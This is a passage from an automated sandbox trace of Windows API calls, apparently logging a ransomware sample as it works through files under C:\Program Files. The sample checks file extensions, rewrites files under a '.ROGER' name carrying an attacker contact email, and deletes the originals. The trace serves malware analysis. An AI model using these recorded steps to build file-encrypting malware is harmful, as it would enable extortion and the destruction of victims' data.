(lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56 [0050.284] lstrlenW (lpString=".dbf") returned 4 [0050.284] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0050.284] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56 [0050.284] lstrlenW (lpString=".1cd") returned 4 [0050.284] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0050.284] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56 [0050.284] lstrlenW (lpString=".jpg") returned 4 [0050.284] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0050.284] lstrcmpiW (lpString1=".inc", lpString2=".ROGER") returned -1 [0050.284] lstrlenW (lpString="oledbvbs.inc") returned 12 [0050.284] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0050.284] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x3bfff1c | out: lpFileSize=0x3bfff1c*=9975) returned 1 [0050.284] CloseHandle (hObject=0x3ac) returned 1 [0050.284] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc")) returned 0x20 [0050.284] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0050.284] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.285] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56 [0050.285] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56 [0050.285] lstrlenW (lpString=".doc") returned 4 [0050.285] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0050.285] lstrlenW (lpString=".docx") returned 5 [0050.285] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0050.285] lstrlenW (lpString=".pdf") returned 4 [0050.285] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0050.285] lstrlenW (lpString=".xls") returned 4 [0050.285] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0050.285] lstrlenW (lpString=".xlsx") returned 5 [0050.285] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0050.285] lstrlenW (lpString=".ppt") returned 4 [0050.285] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0050.285] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56 [0050.285] lstrlenW (lpString=".zip") returned 4 [0050.285] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0050.285] lstrlenW (lpString=".rar") returned 4 [0050.285] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0050.285] lstrlenW (lpString=".bz2") returned 4 [0050.285] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0050.285] lstrlenW (lpString=".7z") returned 3 [0050.285] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0050.285] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56 [0050.285] lstrlenW (lpString=".dbf") returned 4 [0050.285] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0050.286] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0050.286] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0050.286] CreateFileW (lpFileName="C:\\Program Files\\desktop.ini.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\desktop.ini.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0050.286] GetLastError () returned 0x0 [0050.286] ReadFile (in: hFile=0x3ac, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0xae, lpOverlapped=0x0) returned 1 [0050.287] WriteFile (in: hFile=0x350, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0xb0, lpOverlapped=0x0) returned 1 [0050.288] ReadFile (in: hFile=0x3ac, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x0, lpOverlapped=0x0) returned 1 [0050.288] WriteFile (in: hFile=0x350, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0xea, lpOverlapped=0x0) returned 1 [0050.288] SetEndOfFile (hFile=0x350) returned 1 [0050.288] CloseHandle (hObject=0x350) returned 1 [0050.288] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0050.288] SetEndOfFile (hFile=0x3ac) returned 1 [0050.289] CloseHandle (hObject=0x3ac) returned 1 [0050.289] SetFileAttributesW (lpFileName="C:\\Program Files\\desktop.ini.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x26) returned 1 [0050.289] DeleteFileW (lpFileName="C:\\Program Files\\desktop.ini" (normalized: "c:\\program files\\desktop.ini")) returned 1 [0050.290] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0050.290] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0050.290] lstrlenW (lpString=".doc") returned 4 [0050.290] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0050.290] lstrlenW (lpString=".docx") returned 5 [0050.290] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0050.290] lstrlenW (lpString=".pdf") returned 4 [0050.290] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0050.290] lstrlenW (lpString=".xls") returned 4 [0050.290] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0050.290] lstrlenW (lpString=".xlsx") returned 5 [0050.290] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0050.290] lstrlenW (lpString=".ppt") returned 4 [0050.290] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0050.290] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0050.290] lstrlenW (lpString=".zip") returned 4 [0050.290] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0050.290] lstrlenW (lpString=".rar") returned 4 [0050.290] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0050.290] lstrlenW (lpString=".bz2") returned 4 [0050.290] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0050.290] lstrlenW (lpString=".7z") returned 3 [0050.290] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0050.290] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0050.290] lstrlenW (lpString=".dbf") returned 4 [0050.290] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0050.290] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0050.290] lstrlenW (lpString=".1cd") returned 4 [0050.291] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0050.291] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0050.291] lstrlenW (lpString=".jpg") returned 4 [0050.291] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0050.291] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0050.291] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0050.291] lstrlenW (lpString=".doc") returned 4 [0050.291] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0050.291] lstrlenW (lpString=".docx") returned 5 [0050.291] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0050.291] lstrlenW (lpString=".pdf") returned 4 [0050.291] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0050.291] lstrlenW (lpString=".xls") returned 4 [0050.291] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0050.291] lstrlenW (lpString=".xlsx") returned 5 [0050.291] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0050.291] lstrlenW (lpString=".ppt") returned 4 [0050.291] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0050.291] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0050.291] lstrlenW (lpString=".zip") returned 4 [0050.291] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0050.291] lstrlenW (lpString=".rar") returned 4 [0050.291] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0050.291] lstrlenW (lpString=".bz2") returned 4 [0050.291] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0050.291] lstrlenW (lpString=".7z") returned 3 [0050.291] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0050.291] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0050.291] lstrlenW (lpString=".dbf") returned 4 [0050.291] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0050.291] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0050.291] lstrlenW (lpString=".1cd") returned 4 [0050.292] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0050.292] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0050.292] lstrlenW (lpString=".jpg") returned 4 [0050.292] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0050.292] lstrcmpiW (lpString1=".png", lpString2=".ROGER") returned -1 [0050.292] lstrlenW (lpString="DissolveAnother.png") returned 19 [0050.292] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png" (normalized: "c:\\program files\\dvd maker\\shared\\dissolveanother.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0050.415] GetFileSizeEx (in: hFile=0x3e8, lpFileSize=0x3bfff1c | out: lpFileSize=0x3bfff1c*=27935) returned 1 [0050.415] CloseHandle (hObject=0x3e8) returned 1 [0050.415] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png" (normalized: "c:\\program files\\dvd maker\\shared\\dissolveanother.png")) returned 0x20 [0050.415] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\dvd maker\\shared\\dissolveanother.png.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0050.415] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png" (normalized: "c:\\program files\\dvd maker\\shared\\dissolveanother.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.415] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png") returned 53 [0050.415] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png") returned 53 [0050.415] lstrlenW (lpString=".doc") returned 4 [0050.415] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0050.415] lstrlenW (lpString=".docx") returned 5 [0050.415] lstrcmpiW (lpString1=".docx", lpString2="r.png") returned -1 [0050.415] lstrlenW (lpString=".pdf") returned 4 [0050.415] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0050.415] lstrlenW (lpString=".xls") returned 4 [0050.415] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0050.416] lstrlenW (lpString=".xlsx") returned 5 [0050.416] lstrcmpiW (lpString1=".xlsx", lpString2="r.png") returned -1 [0050.416] lstrlenW (lpString=".ppt") returned 4 [0050.416] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0050.416] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png") returned 53 [0050.416] lstrlenW (lpString=".zip") returned 4 [0050.416] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0050.416] lstrlenW (lpString=".rar") returned 4 [0050.416] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0050.416] lstrlenW (lpString=".bz2") returned 4 [0050.416] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0050.416] lstrlenW (lpString=".7z") returned 3 [0050.416] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0050.416] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png") returned 53 [0050.416] lstrlenW (lpString=".dbf") returned 4 [0050.416] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0050.416] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png") returned 53 [0050.416] lstrlenW (lpString=".1cd") returned 4 [0050.416] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0050.416] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png") returned 53 [0050.416] lstrlenW (lpString=".jpg") returned 4 [0050.416] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0050.416] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png") returned 53 [0050.416] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png") returned 53 [0050.416] lstrlenW (lpString=".doc") returned 4 [0050.416] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0050.416] lstrlenW (lpString=".docx") returned 5 [0050.416] lstrcmpiW (lpString1=".docx", lpString2="r.png") returned -1 [0050.416] lstrlenW (lpString=".pdf") returned 4 [0050.417] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0050.417] lstrlenW (lpString=".xls") returned 4 [0050.417] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0050.417] lstrlenW (lpString=".xlsx") returned 5 [0050.417] lstrcmpiW (lpString1=".xlsx", lpString2="r.png") returned -1 [0050.417] lstrlenW (lpString=".ppt") returned 4 [0050.417] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0050.417] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png") returned 53 [0050.417] lstrlenW (lpString=".zip") returned 4 [0050.417] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0050.417] lstrlenW (lpString=".rar") returned 4 [0050.417] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0050.417] lstrlenW (lpString=".bz2") returned 4 [0050.417] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0050.417] lstrlenW (lpString=".7z") returned 3 [0050.417] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0050.417] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png") returned 53 [0050.417] lstrlenW (lpString=".dbf") returned 4 [0050.417] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0050.417] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png") returned 53 [0050.417] lstrlenW (lpString=".1cd") returned 4 [0050.417] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0050.417] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png") returned 53 [0050.417] lstrlenW (lpString=".jpg") returned 4 [0050.417] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0050.417] lstrcmpiW (lpString1=".png", lpString2=".ROGER") returned -1 [0050.417] lstrlenW (lpString="16to9Squareframe_VideoInset.png") returned 31 [0050.418] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_videoinset.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0051.048] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x3bfff1c | out: lpFileSize=0x3bfff1c*=3316) returned 1 [0051.048] CloseHandle (hObject=0x3ac) returned 1 [0051.048] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_videoinset.png")) returned 0x20 [0051.049] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_videoinset.png.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0051.049] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_videoinset.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0051.049] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png") returned 75 [0051.049] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png") returned 75 [0051.049] lstrlenW (lpString=".doc") returned 4 [0051.049] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0051.049] lstrlenW (lpString=".docx") returned 5 [0051.049] lstrcmpiW (lpString1=".docx", lpString2="t.png") returned -1 [0051.049] lstrlenW (lpString=".pdf") returned 4 [0051.049] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0051.049] lstrlenW (lpString=".xls") returned 4 [0051.049] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0051.049] lstrlenW (lpString=".xlsx") returned 5 [0051.049] lstrcmpiW (lpString1=".xlsx", lpString2="t.png") returned -1 [0051.049] lstrlenW (lpString=".ppt") returned 4 [0051.049] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0051.049] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png") returned 75 [0051.049] lstrlenW (lpString=".zip") returned 4 [0051.049] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0051.049] lstrlenW (lpString=".rar") returned 4 [0051.049] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0051.049] lstrlenW (lpString=".bz2") returned 4 [0051.049] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0051.049] lstrlenW (lpString=".7z") returned 3 [0051.049] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0051.049] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png") returned 75 [0051.049] lstrlenW (lpString=".dbf") returned 4 [0051.049] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0051.049] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png") returned 75 [0051.049] lstrlenW (lpString=".1cd") returned 4 [0051.050] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0051.050] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png") returned 75 [0051.050] lstrlenW (lpString=".jpg") returned 4 [0051.050] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0051.050] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png") returned 75 [0051.050] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png") returned 75 [0051.050] lstrlenW (lpString=".doc") returned 4 [0051.050] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0051.050] lstrlenW (lpString=".docx") returned 5 [0051.050] lstrcmpiW (lpString1=".docx", lpString2="t.png") returned -1 [0051.050] lstrlenW (lpString=".pdf") returned 4 [0051.050] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0051.050] lstrlenW (lpString=".xls") returned 4 [0051.050] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0051.050] lstrlenW (lpString=".xlsx") returned 5 [0051.050] lstrcmpiW (lpString1=".xlsx", lpString2="t.png") returned -1 [0051.050] lstrlenW (lpString=".ppt") returned 4 [0051.050] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0051.050] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png") returned 75 [0051.050] lstrlenW (lpString=".zip") returned 4 [0051.050] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0051.050] lstrlenW (lpString=".rar") returned 4 [0051.050] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0051.050] lstrlenW (lpString=".bz2") returned 4 [0051.050] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0051.050] lstrlenW (lpString=".7z") returned 3 [0051.050] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0051.050] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png") returned 75 [0051.050] lstrlenW (lpString=".dbf") returned 4 [0051.050] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0051.050] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png") returned 75 [0051.050] lstrlenW (lpString=".1cd") returned 4 [0051.051] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0051.051] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png") returned 75 [0051.051] lstrlenW (lpString=".jpg") returned 4 [0051.051] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0051.051] lstrcmpiW (lpString1=".png", lpString2=".ROGER") returned -1 [0051.051] lstrlenW (lpString="dotslightoverlay.png") returned 20 [0051.051] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotslightoverlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\dotslightoverlay.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0051.188] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x3bfff1c | out: lpFileSize=0x3bfff1c*=4669) returned 1 [0051.188] CloseHandle (hObject=0x390) returned 1 [0051.188] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotslightoverlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\dotslightoverlay.png")) returned 0x20 [0051.189] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotslightoverlay.png.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\dotslightoverlay.png.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0051.189] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotslightoverlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\dotslightoverlay.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0051.189] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotslightoverlay.png") returned 69 [0051.189] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotslightoverlay.png") returned 69 [0051.189] lstrlenW (lpString=".doc") returned 4 [0051.189] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0051.189] lstrlenW (lpString=".docx") returned 5 [0051.189] lstrcmpiW (lpString1=".docx", lpString2="y.png") returned -1 [0051.189] lstrlenW (lpString=".pdf") returned 4 [0051.189] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0051.189] lstrlenW (lpString=".xls") returned 4 [0051.189] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0051.189] lstrlenW (lpString=".xlsx") returned 5 [0051.189] lstrcmpiW (lpString1=".xlsx", lpString2="y.png") returned -1 [0051.189] lstrlenW (lpString=".ppt") returned 4 [0051.189] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0051.189] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotslightoverlay.png") returned 69 [0051.189] lstrlenW (lpString=".zip") returned 4 [0051.189] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0051.189] lstrlenW (lpString=".rar") returned 4 [0051.189] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0051.189] lstrlenW (lpString=".bz2") returned 4 [0051.189] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0051.189] lstrlenW (lpString=".7z") returned 3 [0051.189] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0051.189] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotslightoverlay.png") returned 69 [0051.189] lstrlenW (lpString=".dbf") returned 4 [0051.190] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0051.190] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotslightoverlay.png") returned 69 [0051.190] lstrlenW (lpString=".1cd") returned 4 [0051.190] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0051.190] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotslightoverlay.png") returned 69 [0051.190] lstrlenW (lpString=".jpg") returned 4 [0051.190] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0051.190] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotslightoverlay.png") returned 69 [0051.190] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotslightoverlay.png") returned 69 [0051.190] lstrlenW (lpString=".doc") returned 4 [0051.190] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0051.190] lstrlenW (lpString=".docx") returned 5 [0051.190] lstrcmpiW (lpString1=".docx", lpString2="y.png") returned -1 [0051.190] lstrlenW (lpString=".pdf") returned 4 [0051.190] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0051.190] lstrlenW (lpString=".xls") returned 4 [0051.190] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0051.190] lstrlenW (lpString=".xlsx") returned 5 [0051.190] lstrcmpiW (lpString1=".xlsx", lpString2="y.png") returned -1 [0051.190] lstrlenW (lpString=".ppt") returned 4 [0051.191] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0051.191] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotslightoverlay.png") returned 69 [0051.191] lstrlenW (lpString=".zip") returned 4 [0051.191] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0051.191] lstrlenW (lpString=".rar") returned 4 [0051.191] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0051.191] 